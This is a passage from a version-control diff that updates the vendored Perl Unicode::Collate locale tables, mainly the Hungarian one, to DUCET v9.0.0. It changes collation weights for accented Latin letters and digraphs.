-0043 0301 ; [.1BF7.0020.0008] # LATIN CAPITAL LETTER C WITH ACUTE
-0043 0341 ; [.1BF7.0020.0008] # LATIN CAPITAL LETTER C WITH ACUTE
-0064 017E ; [.1C0B.0020.0002] # <LATIN SMALL LETTER D, LATIN SMALL LETTER Z WITH CARON>
-01C6      ; [.1C0B.0020.0003] # LATIN SMALL LETTER DZ WITH CARON
-0044 017E ; [.1C0B.0020.0007][.0000.0000.0001] # <LATIN CAPITAL LETTER D, LATIN SMALL LETTER Z WITH CARON>
-01C5      ; [.1C0B.0020.0007][.0000.0000.0007] # LATIN CAPITAL LETTER D WITH SMALL LETTER Z WITH CARON
-0044 017D ; [.1C0B.0020.0008] # <LATIN CAPITAL LETTER D, LATIN CAPITAL LETTER Z WITH CARON>
-01C4      ; [.1C0B.0020.0009] # LATIN CAPITAL LETTER DZ WITH CARON
-0064 007A 030C ; [.1C0B.0020.0002] # <LATIN SMALL LETTER D, LATIN SMALL LETTER Z, COMBINING CARON>
-0044 007A 030C ; [.1C0B.0020.0007][.0000.0000.0001] # <LATIN CAPITAL LETTER D, LATIN SMALL LETTER Z, COMBINING CARON>
-0044 005A 030C ; [.1C0B.0020.0008] # <LATIN CAPITAL LETTER D, LATIN CAPITAL LETTER Z, COMBINING CARON>
-0111      ; [.1C0C.0020.0002] # LATIN SMALL LETTER D WITH STROKE
-0064 0335 ; [.1C0C.0020.0002] # LATIN SMALL LETTER D WITH STROKE
-0110      ; [.1C0C.0020.0008] # LATIN CAPITAL LETTER D WITH STROKE
-0044 0335 ; [.1C0C.0020.0008] # LATIN CAPITAL LETTER D WITH STROKE
-006C 006A ; [.1CF3.0020.0002] # <LATIN SMALL LETTER L, LATIN SMALL LETTER J>
-01C9      ; [.1CF3.0020.0003] # LATIN SMALL LETTER LJ
-004C 006A ; [.1CF3.0020.0007][.0000.0000.0001] # <LATIN CAPITAL LETTER L, LATIN SMALL LETTER J>
-01C8      ; [.1CF3.0020.0007][.0000.0000.0007] # LATIN CAPITAL LETTER L WITH SMALL LETTER J
-004C 004A ; [.1CF3.0020.0008] # <LATIN CAPITAL LETTER L, LATIN CAPITAL LETTER J>
-01C7      ; [.1CF3.0020.0009] # LATIN CAPITAL LETTER LJ
-006E 006A ; [.1D35.0020.0002] # <LATIN SMALL LETTER N, LATIN SMALL LETTER J>
-01CC      ; [.1D35.0020.0003] # LATIN SMALL LETTER NJ
-004E 006A ; [.1D35.0020.0007][.0000.0000.0001] # <LATIN CAPITAL LETTER N, LATIN SMALL LETTER J>
-01CB      ; [.1D35.0020.0007][.0000.0000.0007] # LATIN CAPITAL LETTER N WITH SMALL LETTER J
-004E 004A ; [.1D35.0020.0008] # <LATIN CAPITAL LETTER N, LATIN CAPITAL LETTER J>
-01CA      ; [.1D35.0020.0009] # LATIN CAPITAL LETTER NJ
-0161      ; [.1DED.0020.0002] # LATIN SMALL LETTER S WITH CARON
-0073 030C ; [.1DED.0020.0002] # LATIN SMALL LETTER S WITH CARON
-0160      ; [.1DED.0020.0008] # LATIN CAPITAL LETTER S WITH CARON
-0053 030C ; [.1DED.0020.0008] # LATIN CAPITAL LETTER S WITH CARON
-017E      ; [.1E9D.0020.0002] # LATIN SMALL LETTER Z WITH CARON
-007A 030C ; [.1E9D.0020.0002] # LATIN SMALL LETTER Z WITH CARON
-017D      ; [.1E9D.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON
-005A 030C ; [.1E9D.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON
+   locale_version => 1.25,
+   entry => <<'ENTRY', # for DUCET v9.0.0
+010D      ; [.1C7B.0020.0002] # LATIN SMALL LETTER C WITH CARON
+0063 030C ; [.1C7B.0020.0002] # LATIN SMALL LETTER C WITH CARON
+010C      ; [.1C7B.0020.0008] # LATIN CAPITAL LETTER C WITH CARON
+0043 030C ; [.1C7B.0020.0008] # LATIN CAPITAL LETTER C WITH CARON
+0107      ; [.1C7C.0020.0002] # LATIN SMALL LETTER C WITH ACUTE
+0063 0301 ; [.1C7C.0020.0002] # LATIN SMALL LETTER C WITH ACUTE
+0063 0341 ; [.1C7C.0020.0002] # LATIN SMALL LETTER C WITH ACUTE
+0106      ; [.1C7C.0020.0008] # LATIN CAPITAL LETTER C WITH ACUTE
+0043 0301 ; [.1C7C.0020.0008] # LATIN CAPITAL LETTER C WITH ACUTE
+0043 0341 ; [.1C7C.0020.0008] # LATIN CAPITAL LETTER C WITH ACUTE
+0064 017E ; [.1C90.0020.0002] # <LATIN SMALL LETTER D, LATIN SMALL LETTER Z WITH CARON>
+01C6      ; [.1C90.0020.0003] # LATIN SMALL LETTER DZ WITH CARON
+0044 017E ; [.1C90.0020.0007][.0000.0000.0001] # <LATIN CAPITAL LETTER D, LATIN SMALL LETTER Z WITH CARON>
+01C5      ; [.1C90.0020.0007][.0000.0000.0007] # LATIN CAPITAL LETTER D WITH SMALL LETTER Z WITH CARON
+0044 017D ; [.1C90.0020.0008] # <LATIN CAPITAL LETTER D, LATIN CAPITAL LETTER Z WITH CARON>
+01C4      ; [.1C90.0020.0009] # LATIN CAPITAL LETTER DZ WITH CARON
+0064 007A 030C ; [.1C90.0020.0002] # <LATIN SMALL LETTER D, LATIN SMALL LETTER Z, COMBINING CARON>
+0044 007A 030C ; [.1C90.0020.0007][.0000.0000.0001] # <LATIN CAPITAL LETTER D, LATIN SMALL LETTER Z, COMBINING CARON>
+0044 005A 030C ; [.1C90.0020.0008] # <LATIN CAPITAL LETTER D, LATIN CAPITAL LETTER Z, COMBINING CARON>
+0111      ; [.1C91.0020.0002] # LATIN SMALL LETTER D WITH STROKE
+0064 0335 ; [.1C91.0020.0002] # LATIN SMALL LETTER D WITH STROKE
+0110      ; [.1C91.0020.0008] # LATIN CAPITAL LETTER D WITH STROKE
+0044 0335 ; [.1C91.0020.0008] # LATIN CAPITAL LETTER D WITH STROKE
+006C 006A ; [.1D78.0020.0002] # <LATIN SMALL LETTER L, LATIN SMALL LETTER J>
+01C9      ; [.1D78.0020.0003] # LATIN SMALL LETTER LJ
+004C 006A ; [.1D78.0020.0007][.0000.0000.0001] # <LATIN CAPITAL LETTER L, LATIN SMALL LETTER J>
+01C8      ; [.1D78.0020.0007][.0000.0000.0007] # LATIN CAPITAL LETTER L WITH SMALL LETTER J
+004C 004A ; [.1D78.0020.0008] # <LATIN CAPITAL LETTER L, LATIN CAPITAL LETTER J>
+01C7      ; [.1D78.0020.0009] # LATIN CAPITAL LETTER LJ
+006E 006A ; [.1DBA.0020.0002] # <LATIN SMALL LETTER N, LATIN SMALL LETTER J>
+01CC      ; [.1DBA.0020.0003] # LATIN SMALL LETTER NJ
+004E 006A ; [.1DBA.0020.0007][.0000.0000.0001] # <LATIN CAPITAL LETTER N, LATIN SMALL LETTER J>
+01CB      ; [.1DBA.0020.0007][.0000.0000.0007] # LATIN CAPITAL LETTER N WITH SMALL LETTER J
+004E 004A ; [.1DBA.0020.0008] # <LATIN CAPITAL LETTER N, LATIN CAPITAL LETTER J>
+01CA      ; [.1DBA.0020.0009] # LATIN CAPITAL LETTER NJ
+0161      ; [.1E72.0020.0002] # LATIN SMALL LETTER S WITH CARON
+0073 030C ; [.1E72.0020.0002] # LATIN SMALL LETTER S WITH CARON
+0160      ; [.1E72.0020.0008] # LATIN CAPITAL LETTER S WITH CARON
+0053 030C ; [.1E72.0020.0008] # LATIN CAPITAL LETTER S WITH CARON
+017E      ; [.1F22.0020.0002] # LATIN SMALL LETTER Z WITH CARON
+007A 030C ; [.1F22.0020.0002] # LATIN SMALL LETTER Z WITH CARON
+017D      ; [.1F22.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON
+005A 030C ; [.1F22.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON
 ENTRY
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/hu.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/hu.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/hu.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,151 +1,151 @@
 +{
-   locale_version => 1.19,
-   entry => <<'ENTRY', # for DUCET v8.0.0
-0063 0073 ; [.1BF6.0020.0002] # <LATIN SMALL LETTER C, LATIN SMALL LETTER S>
-0063 0053 ; [.1BF6.0020.0007][.0000.0000.0002] # <LATIN SMALL LETTER C, LATIN CAPITAL LETTER S>
-0043 0073 ; [.1BF6.0020.0007][.0000.0000.0008] # <LATIN CAPITAL LETTER C, LATIN SMALL LETTER S>
-0043 0053 ; [.1BF6.0020.0008] # <LATIN CAPITAL LETTER C, LATIN CAPITAL LETTER S>
-0064 007A ; [.1C0B.0020.0002] # <LATIN SMALL LETTER D, LATIN SMALL LETTER Z>
-0064 005A ; [.1C0B.0020.0007][.0000.0000.0002] # <LATIN SMALL LETTER D, LATIN CAPITAL LETTER Z>
-0044 007A ; [.1C0B.0020.0007][.0000.0000.0008] # <LATIN CAPITAL LETTER D, LATIN SMALL LETTER Z>
-0044 005A ; [.1C0B.0020.0008] # <LATIN CAPITAL LETTER D, LATIN CAPITAL LETTER Z>
-0064 007A 0073 ; [.1C0C.0020.0002] # <LATIN SMALL LETTER D, LATIN SMALL LETTER Z, LATIN SMALL LETTER S>
-0064 007A 0053 ; [.1C0C.0020.0007][.0000.0000.0002][.0000.0000.0002] # <LATIN SMALL LETTER D, LATIN SMALL LETTER Z, LATIN CAPITAL LETTER S>
-0064 005A 0073 ; [.1C0C.0020.0007][.0000.0000.0002][.0000.0000.0007] # <LATIN SMALL LETTER D, LATIN CAPITAL LETTER Z, LATIN SMALL LETTER S>
-0064 005A 0053 ; [.1C0C.0020.0007][.0000.0000.0002][.0000.0000.0008] # <LATIN SMALL LETTER D, LATIN CAPITAL LETTER Z, LATIN CAPITAL LETTER S>
-0044 007A 0073 ; [.1C0C.0020.0007][.0000.0000.0008][.0000.0000.0002] # <LATIN CAPITAL LETTER D, LATIN SMALL LETTER Z, LATIN SMALL LETTER S>
-0044 007A 0053 ; [.1C0C.0020.0007][.0000.0000.0008][.0000.0000.0007] # <LATIN CAPITAL LETTER D, LATIN SMALL LETTER Z, LATIN CAPITAL LETTER S>
-0044 005A 0073 ; [.1C0C.0020.0007][.0000.0000.0008][.0000.0000.0008] # <LATIN CAPITAL LETTER D, LATIN CAPITAL LETTER Z, LATIN SMALL LETTER S>
-0044 005A 0053 ; [.1C0C.0020.0008] # <LATIN CAPITAL LETTER D, LATIN CAPITAL LETTER Z, LATIN CAPITAL LETTER S>
-0067 0079 ; [.1C70.0020.0002] # <LATIN SMALL LETTER G, LATIN SMALL LETTER Y>
-0067 0059 ; [.1C70.0020.0007][.0000.0000.0002] # <LATIN SMALL LETTER G, LATIN CAPITAL LETTER Y>
-0047 0079 ; [.1C70.0020.0007][.0000.0000.0008] # <LATIN CAPITAL LETTER G, LATIN SMALL LETTER Y>
-0047 0059 ; [.1C70.0020.0008] # <LATIN CAPITAL LETTER G, LATIN CAPITAL LETTER Y>
-006C 0079 ; [.1CF3.0020.0002] # <LATIN SMALL LETTER L, LATIN SMALL LETTER Y>
-006C 0059 ; [.1CF3.0020.0007][.0000.0000.0002] # <LATIN SMALL LETTER L, LATIN CAPITAL LETTER Y>
-004C 0079 ; [.1CF3.0020.0007][.0000.0000.0008] # <LATIN CAPITAL LETTER L, LATIN SMALL LETTER Y>
-004C 0059 ; [.1CF3.0020.0008] # <LATIN CAPITAL LETTER L, LATIN CAPITAL LETTER Y>
-006E 0079 ; [.1D35.0020.0002] # <LATIN SMALL LETTER N, LATIN SMALL LETTER Y>
-006E 0059 ; [.1D35.0020.0007][.0000.0000.0002] # <LATIN SMALL LETTER N, LATIN CAPITAL LETTER Y>
-004E 0079 ; [.1D35.0020.0007][.0000.0000.0008] # <LATIN CAPITAL LETTER N, LATIN SMALL LETTER Y>
-004E 0059 ; [.1D35.0020.0008] # <LATIN CAPITAL LETTER N, LATIN CAPITAL LETTER Y>
-0073 007A ; [.1DED.0020.0002] # <LATIN SMALL LETTER S, LATIN SMALL LETTER Z>
-0073 005A ; [.1DED.0020.0007][.0000.0000.0002] # <LATIN SMALL LETTER S, LATIN CAPITAL LETTER Z>
-0053 007A ; [.1DED.0020.0007][.0000.0000.0008] # <LATIN CAPITAL LETTER S, LATIN SMALL LETTER Z>
-0053 005A ; [.1DED.0020.0008] # <LATIN CAPITAL LETTER S, LATIN CAPITAL LETTER Z>
-0074 0079 ; [.1E11.0020.0002] # <LATIN SMALL LETTER T, LATIN SMALL LETTER Y>
-0074 0059 ; [.1E11.0020.0007][.0000.0000.0002] # <LATIN SMALL LETTER T, LATIN CAPITAL LETTER Y>
-0054 0079 ; [.1E11.0020.0007][.0000.0000.0008] # <LATIN CAPITAL LETTER T, LATIN SMALL LETTER Y>
-0054 0059 ; [.1E11.0020.0008] # <LATIN CAPITAL LETTER T, LATIN CAPITAL LETTER Y>
-007A 0073 ; [.1E9D.0020.0002] # <LATIN SMALL LETTER Z, LATIN SMALL LETTER S>
-007A 0053 ; [.1E9D.0020.0007][.0000.0000.0002] # <LATIN SMALL LETTER Z, LATIN CAPITAL LETTER S>
-005A 0073 ; [.1E9D.0020.0007][.0000.0000.0008] # <LATIN CAPITAL LETTER Z, LATIN SMALL LETTER S>
-005A 0053 ; [.1E9D.0020.0008] # <LATIN CAPITAL LETTER Z, LATIN CAPITAL LETTER S>
-00F6      ; [.1D59.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS
-006F 0308 ; [.1D59.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS
-00D6      ; [.1D59.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
-004F 0308 ; [.1D59.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS
-022B      ; [.1D59.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON
-022A      ; [.1D59.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON
-0151      ; [.1D59.0021.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE
-006F 030B ; [.1D59.0021.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE
-0150      ; [.1D59.0021.0008] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE
-004F 030B ; [.1D59.0021.0008] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE
-00FC      ; [.1E31.0020.0002] # LATIN SMALL LETTER U WITH DIAERESIS
-0075 0308 ; [.1E31.0020.0002] # LATIN SMALL LETTER U WITH DIAERESIS
-00DC      ; [.1E31.0020.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
-0055 0308 ; [.1E31.0020.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
-01DC      ; [.1E31.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE
-01DB      ; [.1E31.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
-01D8      ; [.1E31.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
-01D7      ; [.1E31.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
-01D6      ; [.1E31.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON
-01D5      ; [.1E31.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON
-01DA      ; [.1E31.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON
-01D9      ; [.1E31.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON
-0171      ; [.1E31.0021.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE
-0075 030B ; [.1E31.0021.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE
-0170      ; [.1E31.0021.0008] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE
-0055 030B ; [.1E31.0021.0008] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE
-0063 0063 0073 ; [.1BF6.0020.0002][.1BF6.0020.0002] # <LATIN SMALL LETTER C, LATIN SMALL LETTER C, LATIN SMALL LETTER S>
-0063 0063 0053 ; [.1BF6.0020.0002][.1BF6.0020.0007][.0000.0000.0002] # <LATIN SMALL LETTER C, LATIN SMALL LETTER C, LATIN CAPITAL LETTER S>
-0063 0043 0073 ; [.1BF6.0020.0002][.1BF6.0020.0007][.0000.0000.0008] # <LATIN SMALL LETTER C, LATIN CAPITAL LETTER C, LATIN SMALL LETTER S>
-0063 0043 0053 ; [.1BF6.0020.0002][.1BF6.0020.0008] # <LATIN SMALL LETTER C, LATIN CAPITAL LETTER C, LATIN CAPITAL LETTER S>
-0043 0063 0073 ; [.1BF6.0020.0008][.1BF6.0020.0002] # <LATIN CAPITAL LETTER C, LATIN SMALL LETTER C, LATIN SMALL LETTER S>
-0043 0063 0053 ; [.1BF6.0020.0008][.1BF6.0020.0007][.0000.0000.0002] # <LATIN CAPITAL LETTER C, LATIN SMALL LETTER C, LATIN CAPITAL LETTER S>
-0043 0043 0073 ; [.1BF6.0020.0008][.1BF6.0020.0007][.0000.0000.0008] # <LATIN CAPITAL LETTER C, LATIN CAPITAL LETTER C, LATIN SMALL LETTER S>
-0043 0043 0053 ; [.1BF6.0020.0008][.1BF6.0020.0008] # <LATIN CAPITAL LETTER C, LATIN CAPITAL LETTER C, LATIN CAPITAL LETTER S>
-0064 0064 007A ; [.1C0B.0020.0002][.1C0B.0020.0002] # <LATIN SMALL LETTER D, LATIN SMALL LETTER D, LATIN SMALL LETTER Z>
-0064 0064 005A ; [.1C0B.0020.0002][.1C0B.0020.0007][.0000.0000.0002] # <LATIN SMALL LETTER D, LATIN SMALL LETTER D, LATIN CAPITAL LETTER Z>
-0064 0044 007A ; [.1C0B.0020.0002][.1C0B.0020.0007][.0000.0000.0008] # <LATIN SMALL LETTER D, LATIN CAPITAL LETTER D, LATIN SMALL LETTER Z>
-0064 0044 005A ; [.1C0B.0020.0002][.1C0B.0020.0008] # <LATIN SMALL LETTER D, LATIN CAPITAL LETTER D, LATIN CAPITAL LETTER Z>
-0044 0064 007A ; [.1C0B.0020.0008][.1C0B.0020.0002] # <LATIN CAPITAL LETTER D, LATIN SMALL LETTER D, LATIN SMALL LETTER Z>
-0044 0064 005A ; [.1C0B.0020.0008][.1C0B.0020.0007][.0000.0000.0002] # <LATIN CAPITAL LETTER D, LATIN SMALL LETTER D, LATIN CAPITAL LETTER Z>
-0044 0044 007A ; [.1C0B.0020.0008][.1C0B.0020.0007][.0000.0000.0008] # <LATIN CAPITAL LETTER D, LATIN CAPITAL LETTER D, LATIN SMALL LETTER Z>
-0044 0044 005A ; [.1C0B.0020.0008][.1C0B.0020.0008] # <LATIN CAPITAL LETTER D, LATIN CAPITAL LETTER D, LATIN CAPITAL LETTER Z>
-0064 0064 007A 0073 ; [.1C0C.0020.0002][.1C0C.0020.0002] # <LATIN SMALL LETTER D, LATIN SMALL LETTER D, LATIN SMALL LETTER Z, LATIN SMALL LETTER S>
-0064 0064 007A 0053 ; [.1C0C.0020.0002][.1C0C.0020.0007][.0000.0000.0002][.0000.0000.0002] # <LATIN SMALL LETTER D, LATIN SMALL LETTER D, LATIN SMALL LETTER Z, LATIN CAPITAL LETTER S>
-0064 0064 005A 0073 ; [.1C0C.0020.0002][.1C0C.0020.0007][.0000.0000.0002][.0000.0000.0007] # <LATIN SMALL LETTER D, LATIN SMALL LETTER D, LATIN CAPITAL LETTER Z, LATIN SMALL LETTER S>
-0064 0064 005A 0053 ; [.1C0C.0020.0002][.1C0C.0020.0007][.0000.0000.0002][.0000.0000.0008] # <LATIN SMALL LETTER D, LATIN SMALL LETTER D, LATIN CAPITAL LETTER Z, LATIN CAPITAL LETTER S>
-0064 0044 007A 0073 ; [.1C0C.0020.0002][.1C0C.0020.0007][.0000.0000.0008][.0000.0000.0002] # <LATIN SMALL LETTER D, LATIN CAPITAL LETTER D, LATIN SMALL LETTER Z, LATIN SMALL LETTER S>
-0064 0044 007A 0053 ; [.1C0C.0020.0002][.1C0C.0020.0007][.0000.0000.0008][.0000.0000.0007] # <LATIN SMALL LETTER D, LATIN CAPITAL LETTER D, LATIN SMALL LETTER Z, LATIN CAPITAL LETTER S>
-0064 0044 005A 0073 ; [.1C0C.0020.0002][.1C0C.0020.0007][.0000.0000.0008][.0000.0000.0008] # <LATIN SMALL LETTER D, LATIN CAPITAL LETTER D, LATIN CAPITAL LETTER Z, LATIN SMALL LETTER S>
-0064 0044 005A 0053 ; [.1C0C.0020.0002][.1C0C.0020.0008] # <LATIN SMALL LETTER D, LATIN CAPITAL LETTER D, LATIN CAPITAL LETTER Z, LATIN CAPITAL LETTER S>
-0044 0064 007A 0073 ; [.1C0C.0020.0008][.1C0C.0020.0002] # <LATIN CAPITAL LETTER D, LATIN SMALL LETTER D, LATIN SMALL LETTER Z, LATIN SMALL LETTER S>
-0044 0064 007A 0053 ; [.1C0C.0020.0008][.1C0C.0020.0007][.0000.0000.0002][.0000.0000.0002] # <LATIN CAPITAL LETTER D, LATIN SMALL LETTER D, LATIN SMALL LETTER Z, LATIN CAPITAL LETTER S>
-0044 0064 005A 0073 ; [.1C0C.0020.0008][.1C0C.0020.0007][.0000.0000.0002][.0000.0000.0007] # <LATIN CAPITAL LETTER D, LATIN SMALL LETTER D, LATIN CAPITAL LETTER Z, LATIN SMALL LETTER S>
-0044 0064 005A 0053 ; [.1C0C.0020.0008][.1C0C.0020.0007][.0000.0000.0002][.0000.0000.0008] # <LATIN CAPITAL LETTER D, LATIN SMALL LETTER D, LATIN CAPITAL LETTER Z, LATIN CAPITAL LETTER S>
-0044 0044 007A 0073 ; [.1C0C.0020.0008][.1C0C.0020.0007][.0000.0000.0008][.0000.0000.0002] # <LATIN CAPITAL LETTER D, LATIN CAPITAL LETTER D, LATIN SMALL LETTER Z, LATIN SMALL LETTER S>
-0044 0044 007A 0053 ; [.1C0C.0020.0008][.1C0C.0020.0007][.0000.0000.0008][.0000.0000.0007] # <LATIN CAPITAL LETTER D, LATIN CAPITAL LETTER D, LATIN SMALL LETTER Z, LATIN CAPITAL LETTER S>
-0044 0044 005A 0073 ; [.1C0C.0020.0008][.1C0C.0020.0007][.0000.0000.0008][.0000.0000.0008] # <LATIN CAPITAL LETTER D, LATIN CAPITAL LETTER D, LATIN CAPITAL LETTER Z, LATIN SMALL LETTER S>
-0044 0044 005A 0053 ; [.1C0C.0020.0008][.1C0C.0020.0008] # <LATIN CAPITAL LETTER D, LATIN CAPITAL LETTER D, LATIN CAPITAL LETTER Z, LATIN CAPITAL LETTER S>
-0067 0067 0079 ; [.1C70.0020.0002][.1C70.0020.0002] # <LATIN SMALL LETTER G, LATIN SMALL LETTER G, LATIN SMALL LETTER Y>
-0067 0067 0059 ; [.1C70.0020.0002][.1C70.0020.0007][.0000.0000.0002] # <LATIN SMALL LETTER G, LATIN SMALL LETTER G, LATIN CAPITAL LETTER Y>
-0067 0047 0079 ; [.1C70.0020.0002][.1C70.0020.0007][.0000.0000.0008] # <LATIN SMALL LETTER G, LATIN CAPITAL LETTER G, LATIN SMALL LETTER Y>
-0067 0047 0059 ; [.1C70.0020.0002][.1C70.0020.0008] # <LATIN SMALL LETTER G, LATIN CAPITAL LETTER G, LATIN CAPITAL LETTER Y>
-0047 0067 0079 ; [.1C70.0020.0008][.1C70.0020.0002] # <LATIN CAPITAL LETTER G, LATIN SMALL LETTER G, LATIN SMALL LETTER Y>
-0047 0067 0059 ; [.1C70.0020.0008][.1C70.0020.0007][.0000.0000.0002] # <LATIN CAPITAL LETTER G, LATIN SMALL LETTER G, LATIN CAPITAL LETTER Y>
-0047 0047 0079 ; [.1C70.0020.0008][.1C70.0020.0007][.0000.0000.0008] # <LATIN CAPITAL LETTER G, LATIN CAPITAL LETTER G, LATIN SMALL LETTER Y>
-0047 0047 0059 ; [.1C70.0020.0008][.1C70.0020.0008] # <LATIN CAPITAL LETTER G, LATIN CAPITAL LETTER G, LATIN CAPITAL LETTER Y>
-006C 006C 0079 ; [.1CF3.0020.0002][.1CF3.0020.0002] # <LATIN SMALL LETTER L, LATIN SMALL LETTER L, LATIN SMALL LETTER Y>
-006C 006C 0059 ; [.1CF3.0020.0002][.1CF3.0020.0007][.0000.0000.0002] # <LATIN SMALL LETTER L, LATIN SMALL LETTER L, LATIN CAPITAL LETTER Y>
-006C 004C 0079 ; [.1CF3.0020.0002][.1CF3.0020.0007][.0000.0000.0008] # <LATIN SMALL LETTER L, LATIN CAPITAL LETTER L, LATIN SMALL LETTER Y>
-006C 004C 0059 ; [.1CF3.0020.0002][.1CF3.0020.0008] # <LATIN SMALL LETTER L, LATIN CAPITAL LETTER L, LATIN CAPITAL LETTER Y>
-004C 006C 0079 ; [.1CF3.0020.0008][.1CF3.0020.0002] # <LATIN CAPITAL LETTER L, LATIN SMALL LETTER L, LATIN SMALL LETTER Y>
-004C 006C 0059 ; [.1CF3.0020.0008][.1CF3.0020.0007][.0000.0000.0002] # <LATIN CAPITAL LETTER L, LATIN SMALL LETTER L, LATIN CAPITAL LETTER Y>
-004C 004C 0079 ; [.1CF3.0020.0008][.1CF3.0020.0007][.0000.0000.0008] # <LATIN CAPITAL LETTER L, LATIN CAPITAL LETTER L, LATIN SMALL LETTER Y>
-004C 004C 0059 ; [.1CF3.0020.0008][.1CF3.0020.0008] # <LATIN CAPITAL LETTER L, LATIN CAPITAL LETTER L, LATIN CAPITAL LETTER Y>
-006E 006E 0079 ; [.1D35.0020.0002][.1D35.0020.0002] # <LATIN SMALL LETTER N, LATIN SMALL LETTER N, LATIN SMALL LETTER Y>
-006E 006E 0059 ; [.1D35.0020.0002][.1D35.0020.0007][.0000.0000.0002] # <LATIN SMALL LETTER N, LATIN SMALL LETTER N, LATIN CAPITAL LETTER Y>
-006E 004E 0079 ; [.1D35.0020.0002][.1D35.0020.0007][.0000.0000.0008] # <LATIN SMALL LETTER N, LATIN CAPITAL LETTER N, LATIN SMALL LETTER Y>
-006E 004E 0059 ; [.1D35.0020.0002][.1D35.0020.0008] # <LATIN SMALL LETTER N, LATIN CAPITAL LETTER N, LATIN CAPITAL LETTER Y>
-004E 006E 0079 ; [.1D35.0020.0008][.1D35.0020.0002] # <LATIN CAPITAL LETTER N, LATIN SMALL LETTER N, LATIN SMALL LETTER Y>
-004E 006E 0059 ; [.1D35.0020.0008][.1D35.0020.0007][.0000.0000.0002] # <LATIN CAPITAL LETTER N, LATIN SMALL LETTER N, LATIN CAPITAL LETTER Y>
-004E 004E 0079 ; [.1D35.0020.0008][.1D35.0020.0007][.0000.0000.0008] # <LATIN CAPITAL LETTER N, LATIN CAPITAL LETTER N, LATIN SMALL LETTER Y>
-004E 004E 0059 ; [.1D35.0020.0008][.1D35.0020.0008] # <LATIN CAPITAL LETTER N, LATIN CAPITAL LETTER N, LATIN CAPITAL LETTER Y>
-0073 0073 007A ; [.1DED.0020.0002][.1DED.0020.0002] # <LATIN SMALL LETTER S, LATIN SMALL LETTER S, LATIN SMALL LETTER Z>
-0073 0073 005A ; [.1DED.0020.0002][.1DED.0020.0007][.0000.0000.0002] # <LATIN SMALL LETTER S, LATIN SMALL LETTER S, LATIN CAPITAL LETTER Z>
-0073 0053 007A ; [.1DED.0020.0002][.1DED.0020.0007][.0000.0000.0008] # <LATIN SMALL LETTER S, LATIN CAPITAL LETTER S, LATIN SMALL LETTER Z>
-0073 0053 005A ; [.1DED.0020.0002][.1DED.0020.0008] # <LATIN SMALL LETTER S, LATIN CAPITAL LETTER S, LATIN CAPITAL LETTER Z>
-0053 0073 007A ; [.1DED.0020.0008][.1DED.0020.0002] # <LATIN CAPITAL LETTER S, LATIN SMALL LETTER S, LATIN SMALL LETTER Z>
-0053 0073 005A ; [.1DED.0020.0008][.1DED.0020.0007][.0000.0000.0002] # <LATIN CAPITAL LETTER S, LATIN SMALL LETTER S, LATIN CAPITAL LETTER Z>
-0053 0053 007A ; [.1DED.0020.0008][.1DED.0020.0007][.0000.0000.0008] # <LATIN CAPITAL LETTER S, LATIN CAPITAL LETTER S, LATIN SMALL LETTER Z>
-0053 0053 005A ; [.1DED.0020.0008][.1DED.0020.0008] # <LATIN CAPITAL LETTER S, LATIN CAPITAL LETTER S, LATIN CAPITAL LETTER Z>
-0074 0074 0079 ; [.1E11.0020.0002][.1E11.0020.0002] # <LATIN SMALL LETTER T, LATIN SMALL LETTER T, LATIN SMALL LETTER Y>
-0074 0074 0059 ; [.1E11.0020.0002][.1E11.0020.0007][.0000.0000.0002] # <LATIN SMALL LETTER T, LATIN SMALL LETTER T, LATIN CAPITAL LETTER Y>
-0074 0054 0079 ; [.1E11.0020.0002][.1E11.0020.0007][.0000.0000.0008] # <LATIN SMALL LETTER T, LATIN CAPITAL LETTER T, LATIN SMALL LETTER Y>
-0074 0054 0059 ; [.1E11.0020.0002][.1E11.0020.0008] # <LATIN SMALL LETTER T, LATIN CAPITAL LETTER T, LATIN CAPITAL LETTER Y>
-0054 0074 0079 ; [.1E11.0020.0008][.1E11.0020.0002] # <LATIN CAPITAL LETTER T, LATIN SMALL LETTER T, LATIN SMALL LETTER Y>
-0054 0074 0059 ; [.1E11.0020.0008][.1E11.0020.0007][.0000.0000.0002] # <LATIN CAPITAL LETTER T, LATIN SMALL LETTER T, LATIN CAPITAL LETTER Y>
-0054 0054 0079 ; [.1E11.0020.0008][.1E11.0020.0007][.0000.0000.0008] # <LATIN CAPITAL LETTER T, LATIN CAPITAL LETTER T, LATIN SMALL LETTER Y>
